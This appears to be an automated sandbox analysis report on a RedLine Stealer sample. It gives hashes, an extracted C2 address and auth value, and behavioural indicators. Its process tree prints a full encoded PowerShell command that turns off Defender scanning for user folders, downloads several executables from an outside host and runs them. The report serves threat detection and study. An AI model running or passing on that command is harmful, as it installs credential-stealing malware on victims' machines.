Analysis
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max time kernel
46s -
max time network
82s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
16/01/2023, 13:25
Static task
static1
Behavioral task
behavioral1
Sample
77d29818be0d01c38545baa0bd4551c6853c224b.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
77d29818be0d01c38545baa0bd4551c6853c224b.exe
Resource
win10v2004-20220901-en
General
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Target
77d29818be0d01c38545baa0bd4551c6853c224b.exe
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Size
365KB
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MD5
343adbd49e24d1bdec30f634f4055da8
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SHA1
77d29818be0d01c38545baa0bd4551c6853c224b
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SHA256
404c51dbba49787d8c3d9cde78efc1a5eb0d9f139c0c6b130438870a0ecc244c
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SHA512
4c6831539aef807c7cb4875306e5fecc06b769924e0a1f80a5316f194a5235ec9e904c932b3ec4021e7ef2237bc2dba3db47a8a1cb20244c67c9fa1e6d88298f
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SSDEEP
6144:SVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO1DAjWbc:SRDF2BpjLQLsvBP0+ecyEY37C8P
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/3168-173-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 980 created 1076 980 SmartDefRun.exe 30 PID 980 created 1076 980 SmartDefRun.exe 30 PID 980 created 1076 980 SmartDefRun.exe 30 PID 980 created 1076 980 SmartDefRun.exe 30 PID 1704 created 612 1704 powershell.EXE 74 -
Blocklisted process makes network request 1 IoCs
flow pid Process 16 1100 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 2036 C4Loader.exe 4220 new2.exe 1828 SysApp.exe 980 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1628 set thread context of 5100 1628 77d29818be0d01c38545baa0bd4551c6853c224b.exe 81 PID 4220 set thread context of 3168 4220 new2.exe 96 PID 980 set thread context of 2460 980 SmartDefRun.exe 119 PID 1704 set thread context of 2024 1704 powershell.EXE 124 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2996 sc.exe 744 sc.exe 4556 sc.exe 4012 sc.exe 4924 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 1972 1628 WerFault.exe 79 4616 4220 WerFault.exe 91 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE -
Suspicious behavior: EnumeratesProcesses 42 IoCs
pid Process 1100 powershell.exe 1100 powershell.exe 1828 SysApp.exe 1828 SysApp.exe 1828 SysApp.exe 1828 SysApp.exe 1828 SysApp.exe 1828 SysApp.exe 1828 SysApp.exe 1828 SysApp.exe 1828 SysApp.exe 1828 SysApp.exe 3168 vbc.exe 980 SmartDefRun.exe 980 SmartDefRun.exe 1548 powershell.exe 1548 powershell.exe 980 SmartDefRun.exe 980 SmartDefRun.exe 980 SmartDefRun.exe 980 SmartDefRun.exe 400 powershell.exe 400 powershell.exe 980 SmartDefRun.exe 980 SmartDefRun.exe 2280 powershell.EXE 1704 powershell.EXE 1704 powershell.EXE 2280 powershell.EXE 1704 powershell.EXE 2024 dllhost.exe 2024 dllhost.exe 2024 dllhost.exe 2024 dllhost.exe 2024 dllhost.exe 2024 dllhost.exe 2024 dllhost.exe 2024 dllhost.exe 2024 dllhost.exe 2024 dllhost.exe 2024 dllhost.exe 2024 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1100 powershell.exe Token: SeDebugPrivilege 3168 vbc.exe Token: SeDebugPrivilege 1548 powershell.exe Token: SeDebugPrivilege 400 powershell.exe Token: SeIncreaseQuotaPrivilege 400 powershell.exe Token: SeSecurityPrivilege 400 powershell.exe Token: SeTakeOwnershipPrivilege 400 powershell.exe Token: SeLoadDriverPrivilege 400 powershell.exe Token: SeSystemProfilePrivilege 400 powershell.exe Token: SeSystemtimePrivilege 400 powershell.exe Token: SeProfSingleProcessPrivilege 400 powershell.exe Token: SeIncBasePriorityPrivilege 400 powershell.exe Token: SeCreatePagefilePrivilege 400 powershell.exe Token: SeBackupPrivilege 400 powershell.exe Token: SeRestorePrivilege 400 powershell.exe Token: SeShutdownPrivilege 400 powershell.exe Token: SeDebugPrivilege 400 powershell.exe Token: SeSystemEnvironmentPrivilege 400 powershell.exe Token: SeRemoteShutdownPrivilege 400 powershell.exe Token: SeUndockPrivilege 400 powershell.exe Token: SeManageVolumePrivilege 400 powershell.exe Token: 33 400 powershell.exe Token: 34 400 powershell.exe Token: 35 400 powershell.exe Token: 36 400 powershell.exe Token: SeIncreaseQuotaPrivilege 400 powershell.exe Token: SeSecurityPrivilege 400 powershell.exe Token: SeTakeOwnershipPrivilege 400 powershell.exe Token: SeLoadDriverPrivilege 400 powershell.exe Token: SeSystemProfilePrivilege 400 powershell.exe Token: SeSystemtimePrivilege 400 powershell.exe Token: SeProfSingleProcessPrivilege 400 powershell.exe Token: SeIncBasePriorityPrivilege 400 powershell.exe Token: SeCreatePagefilePrivilege 400 powershell.exe Token: SeBackupPrivilege 400 powershell.exe Token: SeRestorePrivilege 400 powershell.exe Token: SeShutdownPrivilege 400 powershell.exe Token: SeDebugPrivilege 400 powershell.exe Token: SeSystemEnvironmentPrivilege 400 powershell.exe Token: SeRemoteShutdownPrivilege 400 powershell.exe Token: SeUndockPrivilege 400 powershell.exe Token: SeManageVolumePrivilege 400 powershell.exe Token: 33 400 powershell.exe Token: 34 400 powershell.exe Token: 35 400 powershell.exe Token: 36 400 powershell.exe Token: SeIncreaseQuotaPrivilege 400 powershell.exe Token: SeSecurityPrivilege 400 powershell.exe Token: SeTakeOwnershipPrivilege 400 powershell.exe Token: SeLoadDriverPrivilege 400 powershell.exe Token: SeSystemProfilePrivilege 400 powershell.exe Token: SeSystemtimePrivilege 400 powershell.exe Token: SeProfSingleProcessPrivilege 400 powershell.exe Token: SeIncBasePriorityPrivilege 400 powershell.exe Token: SeCreatePagefilePrivilege 400 powershell.exe Token: SeBackupPrivilege 400 powershell.exe Token: SeRestorePrivilege 400 powershell.exe Token: SeShutdownPrivilege 400 powershell.exe Token: SeDebugPrivilege 400 powershell.exe Token: SeSystemEnvironmentPrivilege 400 powershell.exe Token: SeRemoteShutdownPrivilege 400 powershell.exe Token: SeUndockPrivilege 400 powershell.exe Token: SeManageVolumePrivilege 400 powershell.exe Token: 33 400 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1628 wrote to memory of 5100 1628 77d29818be0d01c38545baa0bd4551c6853c224b.exe 81 PID 1628 wrote to memory of 5100 1628 77d29818be0d01c38545baa0bd4551c6853c224b.exe 81 PID 1628 wrote to memory of 5100 1628 77d29818be0d01c38545baa0bd4551c6853c224b.exe 81 PID 1628 wrote to memory of 5100 1628 77d29818be0d01c38545baa0bd4551c6853c224b.exe 81 PID 1628 wrote to memory of 5100 1628 77d29818be0d01c38545baa0bd4551c6853c224b.exe 81 PID 5100 wrote to memory of 1100 5100 vbc.exe 85 PID 5100 wrote to memory of 1100 5100 vbc.exe 85 PID 5100 wrote to memory of 1100 5100 vbc.exe 85 PID 1100 wrote to memory of 2036 1100 powershell.exe 90 PID 1100 wrote to memory of 2036 1100 powershell.exe 90 PID 1100 wrote to memory of 2036 1100 powershell.exe 90 PID 1100 wrote to memory of 4220 1100 powershell.exe 91 PID 1100 wrote to memory of 4220 1100 powershell.exe 91 PID 1100 wrote to memory of 4220 1100 powershell.exe 91 PID 1100 wrote to memory of 1828 1100 powershell.exe 93 PID 1100 wrote to memory of 1828 1100 powershell.exe 93 PID 1100 wrote to memory of 1828 1100 powershell.exe 93 PID 1100 wrote to memory of 980 1100 powershell.exe 95 PID 1100 wrote to memory of 980 1100 powershell.exe 95 PID 4220 wrote to memory of 3168 4220 new2.exe 96 PID 4220 wrote to memory of 3168 4220 new2.exe 96 PID 4220 wrote to memory of 3168 4220 new2.exe 96 PID 4220 wrote to memory of 3168 4220 new2.exe 96 PID 4220 wrote to memory of 3168 4220 new2.exe 96 PID 3196 wrote to memory of 4924 3196 cmd.exe 109 PID 3196 wrote to memory of 4924 3196 cmd.exe 109 PID 3196 wrote to memory of 2996 3196 cmd.exe 110 PID 3196 wrote to memory of 2996 3196 cmd.exe 110 PID 3196 wrote to memory of 744 3196 cmd.exe 111 PID 3196 wrote to memory of 744 3196 cmd.exe 111 PID 3196 wrote to memory of 4556 3196 cmd.exe 112 PID 3196 wrote to memory of 4556 3196 cmd.exe 112 PID 3196 wrote to memory of 4012 3196 cmd.exe 113 PID 3196 wrote to memory of 4012 3196 cmd.exe 113 PID 3196 wrote to memory of 3136 3196 cmd.exe 114 PID 3196 wrote to memory of 3136 3196 cmd.exe 114 PID 3196 wrote to memory of 4364 3196 cmd.exe 115 PID 3196 wrote to memory of 4364 3196 cmd.exe 115 PID 3196 wrote to memory of 5036 3196 cmd.exe 116 PID 3196 wrote to memory of 5036 3196 cmd.exe 116 PID 3196 wrote to memory of 1780 3196 cmd.exe 117 PID 3196 wrote to memory of 1780 3196 cmd.exe 117 PID 3196 wrote to memory of 4980 3196 cmd.exe 118 PID 3196 wrote to memory of 4980 3196 cmd.exe 118 PID 980 wrote to memory of 2460 980 SmartDefRun.exe 119 PID 1704 wrote to memory of 2024 1704 powershell.EXE 124 PID 1704 wrote to memory of 2024 1704 powershell.EXE 124 PID 1704 wrote to memory of 2024 1704 powershell.EXE 124 PID 1704 wrote to memory of 2024 1704 powershell.EXE 124 PID 1704 wrote to memory of 2024 1704 powershell.EXE 124 PID 1704 wrote to memory of 2024 1704 powershell.EXE 124 PID 1704 wrote to memory of 2024 1704 powershell.EXE 124 PID 1704 wrote to memory of 2024 1704 powershell.EXE 124 PID 1704 wrote to memory of 2024 1704 powershell.EXE 124 PID 2024 wrote to memory of 612 2024 dllhost.exe 74 PID 2024 wrote to memory of 664 2024 dllhost.exe 72 PID 2024 wrote to memory of 944 2024 dllhost.exe 68 PID 2024 wrote to memory of 312 2024 dllhost.exe 2 PID 2024 wrote to memory of 444 2024 dllhost.exe 3 PID 2024 wrote to memory of 748 2024 dllhost.exe 67 PID 2024 wrote to memory of 888 2024 dllhost.exe 66 PID 2024 wrote to memory of 940 2024 dllhost.exe 65 PID 2024 wrote to memory of 1140 2024 dllhost.exe 63 PID 2024 wrote to memory of 1184 2024 dllhost.exe 62
Processes
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C:\Windows\system32\dwm.exe"dwm.exe"1⤵PID:312
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:444
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1240
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C:\Windows\system32\sihost.exesihost.exe1⤵PID:2388
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3432
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵PID:4712
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4684
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:3036
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:3160
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:2064
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:4620
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4720
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4288
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:3536
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4860
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4452
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3776
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3264
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:2032
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1076
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C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1628 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:5100 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1100 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:2036
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4220 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3168
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4220 -s 1406⤵
- Program crash
PID:4616
-
-
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1828
